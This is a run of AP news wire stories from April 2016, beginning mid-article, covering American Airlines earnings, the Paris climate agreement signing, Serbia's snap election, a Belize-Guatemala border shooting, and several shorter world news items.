In the first quarter, that figure fell 7.5 percent from a year earlier, and American predicted that it will drop by a similar amount  somewhere between 6 percent and 8 percent  in the second quarter. The number won't turn positive until next year, said Scott Kirby, the airline's president.

For several quarters, flattish revenue at the airlines was masked by the huge drop in fuel price, which helped American and others post record profits last year. Now the spotlight is shining more brightly on weak revenue.

"We are disappointed in our revenue performance both in absolute level and relative to some of our peers," CEO Doug Parker told analysts on a conference call. He added, though, the he didn't think it would turn into a long-term problem.

American has blamed its relatively weaker revenue performance on rising competition in a few top markets including Dallas. Some analysts see a bigger problem. Vicki Bryan of bond-research firm Gimme Credit says American's problems are partly the result of aggressively cutting fares to compete with discount airline Spirit, and she says American and United both seem to be losing highly profitably corporate travel customers to Delta.

Airline executives hope to boost prices by growing more slowly  holding down the supply of seats to match demand. This month, American and United have trimmed growth plans, especially on international routes, and Delta executives said they could do the same if revenue per mile doesn't increase.

American Airlines Group Inc. reported that first-quarter earnings tumbled 25 percent, largely due to a provision for income taxes. The $700 million in profit still beat Wall Street expectations.

Earnings excluding one-time gains and costs mostly from its 2013 merger with US Airways were $1.25 per share. That topped the average forecast of $1.18 per share among eight analysts surveyed by Zacks Investment Research.

Net income was trimmed after American made a $417 million provision for income taxes. Last year the company set aside just $11 million for income taxes because of heavy losses that it carried over from previous years.

Revenue fell 4 percent to $9.44 billion, about in line with analysts' forecasts.

Cheaper fuel again provided a tail wind. American and its American Eagle affiliates spent 33 percent less on fuel than they did a year ago, a savings of $607 million.

American's labor costs rose 12 percent, or $279 million, however, as it raised pay and hired more workers  it now has about 120,000 employees.

Shares of Fort Worth-based American fell $2.07, or 5.2 percent, to $37.94 in midday trading. Shares of United, Delta, Southwest, JetBlue and Alaska were also lower.

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Romania party chief gets 2-year suspended sentence for fraud

BUCHAREST, Romania (AP)  A Romanian court on Friday handed a two-year suspended prison sentence to the chairman of Romania's main political party for voting fraud in a referendum to impeach Romania's former president.

Liviu Dragnea, chairman of the Social Democratic Party, lost his appeal Friday when the High Court of Cassation and Justice doubled the sentence of a lower court. The ruling is final. He was convicted of inflating voter numbers at a July 2012 referendum to impeach former President Traian Basescu.

The referendum failed because turnout was too low. More than 50 percent of the eligible voters need to participate for such a referendum to be valid.

Dragnea has denied wrongdoing.

President Klaus Iohannis urged Dragnea to resign as the chairman of Romania's largest party "for the health of the Romanian political system," but after the sentence Dragnea refused to step down as party chairman.
Lee takes 3-shot lead at rainy Shenzhen International

SHENZHEN, China (AP)  Lee Soo-min shot a 7-under 65 Friday to take a three-stroke lead on the rain-interrupted second day of Shenzhen International.

Lee, who is playing in his sixth European Tour event, recorded seven birdies to get 13-under 131. Joost Luiten (66) was in second place as nearly six hours of play was lost over two separate rain stoppages. Thirty-five players were unable to start their second rounds.
UAE pledges $4B to boost Egypt's economy

CAIRO (AP)  The United Arab Emirates' official news agency says the country's ruler has pledged four billion dollars to boost Egypt's economy.

WAM reported Friday that Sheikh Khalifa bin Zayed Al Nahyan has ordered two billion dollars of investment in Egypt, and will deposit two billion dollars in the Egyptian central bank to increase its foreign reserves.

The announcement comes a day after Abu Dhabi's crown prince Mohammed bin Zayed Al Nahyan visited Egypt.

The UAE has been one of the main backers of Egyptian President Abdel-Fatah el-Sissi after he led the overthrow of the country's Islamist president in 2013.
The Latest: US says world closer to key goal on climate deal

UNITED NATIONS (AP)  The Latest on the U.N. signing ceremony for the Paris Agreement on climate change (all times local):

4:25 p.m.

U.S. Secretary of State John Kerry says countries representing about half of the world's global emissions that contribute to global warming intend to join the Paris climate agreement this year.

Francois Hollande, President of France, left, listens as Secretary General Ban Ki-moon, right, speaks during a news conference Friday, April 22, 2016, at the United Nations headquarters. (AP Photo/Frank Franklin II)

"I understand that as of this afternoon, countries representing nearly 50 percent of global emissions are prepared to announce they will join this year," and the U.S. is among them, Kerry said.

The U.N. says 175 countries signed the agreement Friday. Signing is one step; formally joining is the final one. The agreement enters into force once 55 countries representing at least 55 percent of global emissions have joined it.

An analysis by the World Resources Institute has found that at least 25 countries representing 45 percent of global emissions joined the agreement Friday or committed to joining it early.

Other countries that said Friday they intend to join the agreement this year include China, Canada, Mexico and Australia.

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4:15 p.m.

Former U.S. vice president and climate activist Al Gore says the world began a "historic journey" with the signing of the climate change agreement and there is now the opportunity "to avoid the catastrophic damage that would otherwise befall us."

He said celebrations aren't in order because there is much to be done and damage from climate events will continue and worsen.

But Gore said there is "great hope and promise" for strengthened action to combat climate change, pointing to the price of carbon-free renewable energy continuing to plummet and businesses and investors moving very swiftly to finance the de-carbonization of the economy.

Gore said he is "optimistic" about the journey the world is now embarking on.

"We have to go far quickly," he said. "It is a difficult journey and some doubt that we have the resolve to make it successful. I do not because I do know that the will to act and the will to succeed and in our case the will to survive is itself a renewable resource."

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3:15 p.m.

U.S. Secretary of State John Kerry says the United States "absolutely intends to join" the landmark Paris Agreement on climate change this year.

He spoke after the U.S. joined 174 other countries on Friday in signing the agreement, a key step toward its implementation. The next step is having countries formally approve the agreement through their domestic procedures.

The Obama administration says the deal is consistent with existing U.S. law and doesn't require the approval of the Republican-controlled Senate, where it would likely face stiff resistance.

The administration is expected to treat the deal as an executive agreement, which needs only the president's approval.

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2:35 p.m.

China's climate envoy says his government hopes the United States will join the global climate agreement "as soon as possible."

Xie Zhenhua spoke to reporters after China announced it would "finalize domestic procedures" to ratify the Paris Agreement before it hosts the G-20 summit in September.

China is the world's top carbon emitter, and the U.S. is second.

When asked why other countries should honor their climate commitments if the U.S. doesn't join the agreement, Xie said China is working "for humankind" and is "very positive" about the deal's future.

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1:55 p.m.

President Barack Obama is welcoming the signing of the climate agreement saying he hopes it will allow "all of our children to inherit a cleaner, healthier, and safer planet."

He said in a statement Friday that as the world's second-largest source of carbon emissions, the United States has a responsibility to act.

Obama also is reminding people of his campaign pledge years ago to work "with anyone  across the aisle or on the other side of the planet  to combat this threat."

Other countries are watching to see what Obama's successor will do with the agreement, especially if it does not enter into force before he leaves office.

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1 p.m.

U.N. Secretary-General Ban Ki-moon says at least 175 countries are signing the landmark Paris Agreement on climate change on the first day it is open for signatures. That number is easily a record for a global agreement.

Dozens of world leaders continue to sign the agreement, some with personal touches. U.S. Secretary of State John Kerry held his young granddaughter, and gave her a kiss, as he signed.

Ban, who has championed action on climate change during his years as U.N. chief, says the day is "a very moving day for me personally."

He is urging countries to announce their timelines for the next step, ratifying the agreement, so it can enter into force as soon as possible.

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12:45 p.m.

Republican presidential candidate Ted Cruz is criticizing the climate agreement being signed by the U.S. and 170 other countries on Friday as the Obama administration's latest attack on American families.

"Rather than turning attention and resources to real national security threats, such as radical Islamic terrorists who want to kill us, the Obama administration is instead focused on the SUV parked in your driveway," the conservative Texas senator said in a statement.

Cruz says the White House is "full of global warming alarmists."

Some nations have expressed concern about what will happen if the climate deal doesn't enter into force before President Barack Obama leaves office early next year  and if Cruz or Donald Trump becomes president.

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12:15 p.m.

Non-government organizations are welcoming the signing by 171 countries of the Paris Agreement on climate change but warn that states still have a long way to go.

"We'll hold our leaders to account. We'll hold each other to account," Rhea Suh, the president of the New York-based Natural Resources Defense Council, said in a statement.

David Waskow of the World Resources Institute in Washington said he was encouraged by the statement on behalf of the least developed countries by Congo's President Joseph Kabila, who said the countries have announced their intention to ratify the agreement as soon as possible.

He said that indicates that momentum is building toward the agreement's early implementation.

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11:52 a.m.

Prime Minister Enele Sosene Sopoaga of Tuvalu, which has seen four of its small islands disappear into the Pacific Ocean since 2000, says the historic climate agreement has to be transformed into "an international call to action" that will change the world and the lives of future generations.

He said Tuvalu was not only signing but ratifying the Paris agreement on Friday and urged all countries to make sure it enters into force at the soonest possible time to ensure "that climate change is not irreversible."

Sopoaga said small island developing countries urgently need better access to financing to protect against climate change and urged international support for an insurance program for Pacific island nations.

He said recent studies suggest that an average of 62,000 people are displaced every day due to climate change or weather-related disasters  "a staggering figure" that "should ring alarm bells throughout the world."

He called for a U.N. General Assembly resolution to legally protect the rights and needs of people displaced by the impact of climate change.

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11:02 a.m.

U.S. Secretary of State John Kerry says the signing of the climate agreement by a record number of countries is a moment for world leaders to recommit to actually win the "war" against carbon emissions that are making the planet hotter every year.

"The urgency of this challenge is only becoming more pronounced," he said, "and this is why our gathering today is, in fact, historic."

Kerry said the power of last December's climate agreement "is the message that it sends to the marketplace."

It is going "to unleash the private sector" to define the new energy of the future and set the global economy on a new path to development that preserves the environment, he said.

Kerry reiterated that the United States will formally join the agreement this year, and urged all other countries to join as well.

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11:00 a.m.

Leaders from 171 countries have begun signing the Paris Agreement on climate change as the landmark deal takes a key step toward entering into force years ahead of schedule.

The ceremony is setting a record for international diplomacy: Never have so many countries signed an agreement on the first available day. States that don't sign Friday have a year to do so.

Many now expect the climate agreement to enter into force long before the original deadline of 2020. Some say it could happen this year.

"We are in a race against time," U.N. secretary-General Ban Ki-moon told the gathering. "The era of consumption without consequences is over."

French President Francois Hollande is the first to sign, followed by the 15 countries that are also ratifying the agreement Friday.

The agreement will enter into force once 55 countries representing at least 55 percent of global emissions have formally joined it. The United States and China, which together account for nearly 40 percent of global emissions, have said they intend to join this year.

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10:50 a.m.

Leonardo DiCaprio is urging world leaders to leave fossil fuels "in the ground where they belong" as he tells them they are the "last best hope" for saving the planet from the disastrous effects of global warming.

The actor, who is a U.N. Messenger of Peace with a special focus on climate change, spoke shortly before the leaders began signing the Paris Agreement.

"We can congratulate each other today, but it will mean absolutely nothing" if you return to your countries and don't take action to implement the deal, DiCaprio said.

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10:20 a.m.

Canadian Prime Minister Justin Trudeau has brought cheers from the gathering by speaking up for developing countries, saying that "they shouldn't be punished for a problem they didn't create."

He says Canada will invest $2.56 billion over next five years to help such countries meet the goals of the climate agreement.

Trudeau also says Canada will ratify the climate agreement later this year.

"Climate change will test our intelligence, our passion and our will," he says. "But we are equal to that challenge."

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10 a.m.

Brazil's president is using the signing ceremony to briefly address the political crisis at home, calling the effort to oust her a "grave moment" for the country and thanking leaders who have expressed solidarity with her.

President Dilma Rousseff says she has no doubt the Brazilian people "will be able to prevent any setback." Despite the crisis, she says, "Brazil is a great nation, with a society that was able to defeat authoritarianism and build a vibrant democracy."

On climate, Rousseff says her country will restore and reforest 12 million hectares (30 million acres) of forests and 15 million hectares of degraded pastures and increase the nation's reliance on renewable sources to 45 percent of the energy matrix in order to reduce emissions, without offering any timetable.

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9:50 a.m.

China says it will "finalize domestic procedures" to ratify the landmark Paris Agreement on climate change before the G-20 summit in China in September.

The world's top carbon emitter has said it would ratify the agreement this year, but Friday's announcement of a deadline is new.

U.N. Secretary-General Ban Ki-moon immediately welcomed the pledge.

China spoke shortly before world leaders from more than 170 countries began signing the agreement.

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9:35 a.m.

French President Francois Hollande says he will ask parliament to ratify the Paris Agreement on climate change "by the summer of this year."

He spoke shortly before world leaders from more than 170 countries began signing the agreement. "There is no turning back now," he said.

The agreement will enter into force once 55 countries representing at least 55 percent of global emissions have formally joined it. The United States and China, which together account for nearly 40 percent of global emissions, have said they intend to join this year.

Hollande, the U.N. chief and French Environment Minister Segolene Royal, who is in charge of global climate negotiations, invited leaders from all 193 U.N. member states to Friday's event.

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9:20 a.m.

U.N. Secretary-General Ban Ki-moon says at the start of a high-level U.N. ceremony where a record 171 countries are expected to sign the landmark climate change agreement that "history is in the making."

The U.N. chief told global leaders and ministers on Friday that the world is in "a race against time," citing record global temperatures, record ice loss and record carbon levels in the atmosphere.

"The era of consumption without consequences is over," Ban said. "We must intensify efforts to decarbonize our economies."

Ban, who recalled that climate change has been his top priority since he became secretary-general over nine years ago, urged all countries to ratify the agreement so it can come into force as early as possible.

The agreement will enter into force once 55 countries representing at least 55 percent of global emissions have formally joined it.

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00:02 a.m.

Up to 170 countries are expected to sign the Paris Agreement on climate change Friday as the landmark deal moves closer to entering into force years ahead of schedule.

Secretary of State John Kerry is joining dozens of world leaders for a U.N. ceremony that should set a record for international diplomacy: Never have so many countries signed an agreement on the first available day.

States that don't sign Friday have a year to do so.

Many expect the climate agreement to enter into force long before the original deadline of 2020. Some say it could happen this year.

After signing, countries must formally approve the agreement through their domestic procedures. The United Nations says at least 13 countries could take that step Friday by depositing their instruments of ratification.

United Nations Secretary General Ban Ki-moon, center, is joined by Intergovernmental Panel on Climate Change Chairman Hoesung Lee, right, and U.N. General Assembly President Mogens Lykketoft as he speaks during a high level meeting on the Implementation of the Climate and Development Agendas, Friday, April 22, 2016, at U.N. headquarters. (AP Photo/Mary Altaffer)

Brazil's President Dilma Rousseff attends the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Francois Hollande, President of France, speaks during a news conference Friday, April 22, 2016, at the United Nations headquarters. (AP Photo/Frank Franklin II)

Rafael Pacchiano Alaman, Mexico's Minister of the Environment, signs the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

Germany's Minister of the Environment Barbara Hendricks signs the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

Motohide Yoshikawa, Japan's United Nations Ambassador, signs the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

Ri Su Yong, Foreign Minister of North Korea, signs the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

Iranian Foreign Minister Mohammad Javad Zarif signs the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Zimbabwe President Robert Mugabe signs the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Guatemalan President Jimmy Morales signs the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

United Nations Secretary-General Ban Ki-moon, left, claps after U.S. Secretary of State John Kerry signs the Paris Agreement on climate change with his granddaughter Isabelle Dobbs Higginson, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

U.S. Secretary of State John Kerry holds his granddaughter Isabel Dobbs-Higginson as he talks to Secretary General Ban Ki-moon after signing the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

Justin Trudeau, Prime Minister of Canada, signs the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

Zimbabwe President Robert Mugabe signs the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

U.S. Secretary of State John Kerry speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Actor Leonardo DiCaprio speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Actor Leonardo Di Caprio, a United Nations Messenger of Peace, speaks at the signing ceremony for the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. Behind him French President Francois Hollande, second left, and Secretary General Ban Ki-moon applaud. (AP Photo/Mark Lennihan)

Canadian Prime Minister Justin Trudeau speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Justin Trudeau, Prime Minister of Canada, speaks before signing the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

Dilma Rousseff, President of Brazil, speaks before signing the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

Chinese Vice Premier Zhang Gaoli speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Italian Prime Minister Matteo Renzi speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Bolivian President Evo Morales speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Brazilian President Dilma Rousseff speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Brazilian President Dilma Rousseff speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Francois Hollande, right, President of France, is handed papers prior to the signing ceremony for the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

Congolese President Joseph Kabila speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Peruvian President Ollanta Humala speaks at the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Francois Hollande, left, President of France, and Secretary General Ban Ki-moon attend the signing ceremony for the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

French President Francois Hollande speaks during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Brazilian President Dilma Rousseff greets Italian Prime Minister Matteo Renzi during the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

Francois Hollande, President of France, speaks before signing the Paris Agreement on climate change, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mark Lennihan)

United Nations Secretary General Ban Ki-moon, right, and French President Francois Hollande attend the Paris Agreement on climate change ceremony, Friday, April 22, 2016 at U.N. headquarters. (AP Photo/Mary Altaffer)

FILE - In this Dec. 6, 2015 file photo, environmentalist activists form a human chain representing the peace sign and the spelling out "100% renewable", on the side line of the COP21, United Nations Climate Change Conference near the Eiffel Tower in Paris. Four months after negotiating a global climate agreement in Paris, government officials are coming to New York on Friday, April 22, 2016, to sign the pact in a ceremony at the United Nations. (AP PhotoMichel Euler, File)

FILE - In this Dec. 12, 2015 file photo, French President Francois Hollande, right, French Foreign Minister and president of the COP21 Laurent Fabius, second, right, United Nations climate chief Christiana Figueres and United Nations Secretary General Ban ki-Moon applaud after the final conference at the COP21, the United Nations conference on climate change, in Le Bourget, north of Paris. Governments have adopted a global agreement that for the first time asks all countries to reduce or rein in their greenhouse gas emissions. Four months after negotiating a global climate agreement in Paris, government officials are coming to New York on Friday, April 22, 2016, to sign the pact in a ceremony at the United Nations. (AP Photo/Francois Mori)

FILE - In this April 19, 2016 file photo, Indian Environment Minister, Prakash Javadekar, shows how messages are automatically sent to his mobile device when pollution at certain effluent treatment places remain higher than a stipulated measure for over 15 minutes, at a press conference in New Delhi, India. Javadekar enumerated several measures taken by India to meet its goals to combat climate change after the Paris agreement. Four months after negotiating a global climate agreement in Paris, government officials are coming to New York on Friday, April 22, 2016, to sign the pact in a ceremony at the United Nations. (AP Photo/Saurabh Das, File)

FILE - In this April 14, 2016 file photo, World Bank President Jim Yong Kim speaks at the Turning the Paris Climate Agreement into Action panel discussion, during the World Bank/IMF Spring Meetings at the World Bank in Washington. Four months after negotiating a global climate agreement in Paris, government officials are coming to New York on Friday, April 22, 2016, to sign the pact in a ceremony at the United Nations. (AP Photo/Sait Serkan Gurbuz, File)
Serbia weekend snap election to test EU, Russia ties

BELGRADE, Serbia (AP)  Serbs vote in a snap election on Sunday that will test Prime Minister Aleksandar Vucic's proclaimed bid to lead the Balkan nation toward European Union membership. Vucic and his Progressive Party are expected to win most votes, but far-right groups favoring close ties with Russia over the EU bid have also surged. Here's a look at what's at stake:

WHY A SNAP VOTE?

PM Vucic called the election two years early, saying he needed a new mandate to implement some tough pro-EU reforms. The economy is in bad shape and reforms have been slow, so Vucic insisted he needs a fresh start to push things forward. But critics say he really wants to tighten his rule and win another four-year mandate while he is still popular.

In this Thursday, April 21, 2016 photo, Serbian Prime Minister Aleksandar Vucic speaks during a pre-election rally in Novi Sad, Serbia. Serbs vote in a snap election on Sunday that will test Vucics proclaimed bid to lead the Balkan nation toward the European Union. Vucic and his Progressive Party are expected to win most votes, but far-right groups favoring close ties with Russia over EU bid have also surged. Radical Party leader Vojislav Seselj is slated to return to Parliament after being recently acquitted of war crimes by a U.N. tribunal. (AP Photo/Darko Vojinovic)

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WHO ARE KEY PLAYERS?

Vucic, who transformed from a nationalist into a reformer, holds a dominant position. His populist Progressive Party could win a majority and choose whether to rule on their own or in a coalition. Possible partners are the Socialists, a party once led by late strongman Slobodan Milosevic, who led Serbia into wars and isolation in the 1990s. A right-wing revival has also seen growing support for the Radical Party, headed by Vojislav Seselj who is slated to return to Parliament after being acquitted of war crimes by a U.N. tribunal. Liberal opposition groups are fragmented and sidelined, struggling to reach the 5 percent parliamentary threshold. They include a party led by ex-President Boris Tadic.

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WHAT'S AT STAKE?

While no major surprises are expected, Sunday's vote could tilt Serbia to the right. Any rekindling of nationalism here, or elsewhere in the region, is considered more dangerous than in the rest of eastern Europe because of recent wars that claimed some 100,000 lives. Western countries have sought to pacify Balkan nations by keeping them on track for EU membership. This could fail if Serbia gives up EU integration and turns to Russia instead.

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WHAT ARE MAIN ISSUES?

Vucic says he will speed up the EU course after the election. He has focused on foreign investments and restarting the economy. Seselj has said the EU and the West will never help Serbia prosper and has called for an alliance with Slavic ally Russia. Moscow is said to have stepped up its influence, battling to retain clout after most Eastern European nations joined EU and NATO. Liberal groups have accused Vucic of quashing dissent Putin-style.

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VOTING:

There are 6.7 million voters. Polls are open between 0500 GMT and 1800 GMT. There are no exit polls in Serbia, but partial results usually offer reliable projections a few hours after polls close.

In this photo taken Thursday, April 21, 2016, Serbian Prime Minister Aleksandar Vucic gestures during a pre-election rally in Novi Sad, Serbia. Serbs vote in a snap election on Sunday that will test Vucics proclaimed bid to lead the Balkan nation toward the European Union. Vucic and his Progressive Party are expected to win most votes, but far-right groups favoring close ties with Russia over EU bid have also surged. Radical Party leader Vojislav Seselj is slated to return to Parliament after being recently acquitted of war crimes by a U.N. tribunal. (AP Photo/Darko Vojinovic)

In this photo taken Thursday, April 21, 2016, Serbian Prime Minister Aleksandar Vucic gestures during a pre-election rally in Novi Sad, Serbia. Serbs vote in a snap election on Sunday that will test Vucics proclaimed bid to lead the Balkan nation toward the European Union. Vucic and his Progressive Party are expected to win most votes, but far-right groups favoring close ties with Russia over EU bid have also surged. Radical Party leader Vojislav Seselj is slated to return to Parliament after being recently acquitted of war crimes by a U.N. tribunal. (AP Photo/Darko Vojinovic)

In this photo taken Wednesday, April 20, 2016, Serbian Radical Party leader Vojislav Seselj waves to his supporters during a pre-election rally in Novi Sad, Serbia. Serbs will vote in a snap election on Sunday that will test Prime Minister Aleksandar Vucics proclaimed bid to lead the Balkan nation toward the European Union. Vucic and his Progressive Party are expected to win most votes, but far-right groups favoring close ties with Russia over EU bid have also surged. Seselj is slated to return to Parliament after being recently acquitted of war crimes by a U.N. tribunal. (AP Photo/Darko Vojinovic)

In this photo taken Wednesday, April 20, 2016, Serbian Radical Party supporter holds a picture of Russian President Vladimir Putin during a pre-election rally in Novi Sad, Serbia. Serbs will vote in a snap election on Sunday that will test Prime Minister Aleksandar Vucics proclaimed bid to lead the Balkan nation toward the European Union. Vucic and his Progressive Party are expected to win most votes, but far-right groups favoring close ties with Russia over EU bid have also surged. Radical Party leader Vojislav Seselj is slated to return to Parliament after being recently acquitted of war crimes by a U.N. tribunal. (AP Photo/Darko Vojinovic)

A Serbian Progressive Party supporter holds a banner that reads: "United we can do everything" during a pre-election rally in Belgrade, Serbia, Thursday, April 21, 2016. Serbian Prime Minister Aleksandar Vucic and his Progressive Party are expected to win the majority of votes, but they are facing a mounting challenge from far-right groups favoring close ties with Russia rather than ties with the EU. (AP Photo/Darko Vojinovic)

Serbian Prime Minister Aleksandar Vucic speaks during a pre-election rally in Belgrade, Serbia, Thursday, April 21, 2016. Vucic and his Progressive Party are expected to win the majority of votes, but they are facing a mounting challenge from far-right groups favoring close ties with Russia rather than ties with the EU. (AP Photo/Darko Vojinovic)

Serbian Progressive Party supporters hold Serbian flag during a pre-election rally in Belgrade, Serbia, Thursday, April 21, 2016. Serbian Prime Minister Aleksandar Vucic and his Progressive Party are expected to win the majority of votes, but they are facing a mounting challenge from far-right groups favoring close ties with Russia rather than ties with the EU. (AP Photo/Darko Vojinovic)

Serbian Progressive Party supporters hold banners which reads: "United we can do everything" during a pre-election rally in Belgrade, Serbia, Thursday, April 21, 2016. Serbian Prime Minister Aleksandar Vucic and his Progressive Party are expected to win the majority of votes, but they are facing a mounting challenge from far-right groups favoring close ties with Russia rather than ties with the EU. (AP Photo/Darko Vojinovic)
Belize says Guatemala "amassing" troops in border areas

GUATEMALA CITY (AP)  The tiny Central American country of Belize has accused larger neighbor Guatemala of "amassing" troops along the two countries' border following the death of a 13-year-old boy in a shooting incident apparently involving Belizean soldiers.

Guatemala responded Friday with a scathing statement lamenting the Belizean military's "aggressive attitude," saying its "acts of violence" are hurting bilateral relations.

The shooting has quickly turned into a diplomatic tussle between the two countries and the latest flashpoint in a longstanding territorial dispute. Guatemala claims parts of territory governed by Belize as its own.

Guatemala says teenager Julio Rene Alvarado Ruano, his father and his 11-year-old brother were attacked Wednesday as they planted crops in the border community of San Jose Las Flores near Melchor de Mencos, which is on the border between the department of Peten and Belize.

Guatemalan President Jimmy Morales called it a "cowardly and excessive attack" that merits the "total condemnation of the Guatemalan state." He said he had summoned his ambassador to Belize for consultations and urged Belize to investigate and bring those responsible to justice.

Belize's government said in a statement that according to initial reports, its security forces were investigating illegal land clearing in the Cebada area of the Chiquibul National Park in western Belize when they detained a Guatemalan man suspected of illicit activities.

It said the patrol came under fire around nightfall and shot back in self-defense. Before leaving the location just inside Belizean territory, the soldiers found the boy's body, which was taken to Belize City for an autopsy, the statement said.

The detained man, identified as Jose Maria Antonio Reyes, was handed over to police and was awaiting arraignment on unspecified charges.

Belizean Prime Minister Dean Barrow disputed Morales' version of events, saying in a statement that his country "has a long history and tradition as a peace-loving country, respectful of international law (and) human rights."

Belize said its soldiers had been accompanied by members of a Belizean conservation group when the incident occurred.

The Belize government said in a press statement late Thursday that "the current amassing of Guatemalan troops in the border areas ... only adds volatility to the tensions."

Morales did not specifically mention troop mobilizations, but said "We have decided that from this moment on, we will carry out a strict exercise of protection" of the border area.

On Friday, the Guatemalan Foreign Ministry said the autopsy conducted in Belize determined that the boy had been shot eight times, including four times in the back, by a high-power, military-grade rifle. It also cited nine other Guatemalans it said had been killed by Belizean forces since 1999.

"It is regrettable that the defense forces of Belize are the only army in the Latin America and Caribbean region that fires on unarmed civilians from another country," the ministry said in a statement.

In Washington, the Organization of American States announced it will investigate the death at the request of both governments.

The OAS urged both sides to avoid "an escalation of tensions" and said they should "work even harder to establish a lasting peace."

Guatemala and Belize, a former British colony, have a territorial dispute that dates back more than 150 years. Guatemala recognized Belizean independence in 1991 but still claims parts of the country's territory as its own.

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Fire kills 12 guests sleeping after wedding in India

PATNA, India (AP)  A fire killed 12 people who were sleeping Friday after they attended a wedding in a village in eastern India, officials said.

The thatched roof apparently caught fire where guests were sleeping after the wedding ceremonies ended, police officer Sanjay Kumar said.

Strong wind fanned the flames, which enveloped the wooden door, trapping the guests inside, Kumar said.

After the blaze was doused, police found 12 charred bodies inside the room, District Magistrate Kanwal Tanuj said.

Authorities are investigating the fire that occurred in Harinagar Tola, a village in Bihar state about 165 kilometers (105 miles) south of Patna, the state capital.

The bride and groom were not hurt.
Image of Asia: Trying to walk on a flooded Indonesian street

In this photo by Achmad Ibrahim, a woman wades through floodwaters on a street in Bekasi, a town just east of Indonesia's capital, Jakarta, on Friday. Heavy downpours combined with poor sewage planning often causes heavy flooding in parts of greater Jakarta. The flood in Bekasi began Thursday and was reportedly the worst in the past nine years. The Bekasi River overflowed its banks and inundated residential areas nearby, with waters reaching 4 meters (13 feet) in some homes.
Myanmar or Burma? Take your choice, Suu Kyi tells diplomats

NAYPYITAW, Myanmar (AP)  Myanmar's de facto leader, Aung San Suu Kyi, has made clear to foreign diplomats: It doesn't matter if they call her country Myanmar, or its old name, Burma.

Suu Kyi gave her position Friday in a speech to the foreign diplomatic corps. She is the government's de facto leader in the specially created post of state counsellor, and also is foreign minister. Her National League for Democracy party took power from an army-backed government at the end of March.

Democracy supporters in Burma balked when the then-ruling military renamed the country Myanmar in 1989. The military in turn was irritated when activists and their supporters abroad  including many Western governments  insisted on sticking with the old name.

Myanmar Foreign Affair Minister Aung San Suu Kyi speaks during a meeting with diplomats at the ministryof Foreign Affairs, Friday, April 22, 2016, in Naypyitaw, Myanmar. Aung San Suu Kyi met Friday with foreign diplomats at her Foreign Ministry. (AP Photo/Aung Shine Oo)

As she explained her policy of friendship and mutual benefit to the diplomats, Suu Kyi interrupted herself to say she should clear up the matter of what name to use for her country "because there are some members of the diplomatic corps who don't know quite which term to use."

"So it is up to you, because there is nothing in the constitution of our country that says that you must use any term in particular," she said. "I use Burma very often because I am used to using it. But it does not mean that I require other people to do that as well.

"And I'll make an effort to say Myanmar from time to time so you all feel comfortable," she told her audibly amused audience. "This is what diplomacy, I think, is all about. We have to learn to accommodate each other."

The generals changed the country's name as a nationalistic gesture, spurning the name that was handed down from when the country was a British colony.

The military sought to boost its patriotic credentials a year after its bloody suppression of mass pro-democracy demonstrations in 1988. It also changed the style of many place names, including the then-capital, Rangoon, which became Yangon.

Its opponents sought to deny the army regime's legitimacy by rejecting the name changes.

It was an argument fought mostly on the international stage, since the country's name remained the same in the national language, and the English versions, Burma and Myanmar, both derive from the same Burmese word.

Suu Kyi is the country's most popular political figure but was unable to become president because of a clause in the military-imposed constitution that bars anyone with a foreign spouse or child from holding the job. Her two sons are British, as was her late husband.

